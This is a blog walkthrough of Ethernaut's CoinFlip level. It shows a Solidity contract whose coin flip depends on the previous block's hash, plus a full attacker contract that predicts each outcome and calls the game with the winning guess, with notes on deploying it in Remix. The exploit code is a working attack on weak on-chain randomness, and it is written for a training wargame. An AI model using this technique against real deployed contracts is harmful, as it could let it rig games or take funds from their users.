10 consecutive correct guesses on a coin flip? There is a tiny chance we are gonna have to work the system.
We are given the source code of the contract, it tracks consecutiveWins and has a flip function that takes in a bool _guess and returns a bool for heads or tails.
Let’s take a closer look at how it’s determining which side it’s landing on and see what we can do to simulate the flip and simultaneously call the contract with the correct answer.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
First things first let’s single out and dissect the side declaration:
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
We can see here that the side is determined by the coinFlip variable that is declared on the line right above it with the formula:
uint256 coinFlip = blockValue / FACTOR;
FACTOR is a hardcoded variable that is a long string of digits:
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
blockValue is determined using blockhash(block.number – 1) or simply put the hash of the last block.
Block and Transaction Properties from Solidity Docs
blockhash(uint blockNumber) returns (bytes32)
: hash of the given block whenblocknumber
is one of the 256 most recent blocks; otherwise returns zero
uint256 blockValue = uint256(blockhash(block.number - 1));
As the Note from the Solidity Docs says these kind of block properties are not a good source of randomness.
We can basically reproduce the same contract, then gather the outcome before actually calling the CoinFlip contract.
Let’s open up Remix IDE again and copy/paste the CoinFlip contract, then create a new .sol contract file for our exploit.
Our new contract Flipped.sol will look a lot like the CoinFlip contract since we are trying to do the same calculations.
So lets start by altering the contract a bit to make it do what we need.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './CoinFlip.sol';
contract Flipped {
CoinFlip public coinFlipContract = CoinFlip(0x29665e05f91E63e7e72B68dE1279f511C3287A56);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function flip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
coinFlipContract.flip(side);
}
}
Then we can deploy the contract and use the buttons to interact with it.
Once we have deployed, we need to send out a flip transaction from our attacking contract.
Then we can head back to the Ethernaut console and check contract.consecutiveWins() to ensure it is incrementing.
This looks successful, lets go for 10 wins in a row so we can submit our instance.
Oops, looks like I ran into a gas issue on my 3rd transaction.
By changing my max allowed gas in the MetaMask transaction settings I was able to produce a successful transaction.
Taking a look at the successful transaction, the gas used shows why we ran into an error last go round, but the 45000 limit should definitely stop that from happening again so onto 10 wins we go.
Once we have reached the 10 win limit we can submit our instance.
Congratulations we have completed level 3!
If you missed any of the previous levels be sure to check them out.
LEVEL 1 | LEVEL 2
DAVE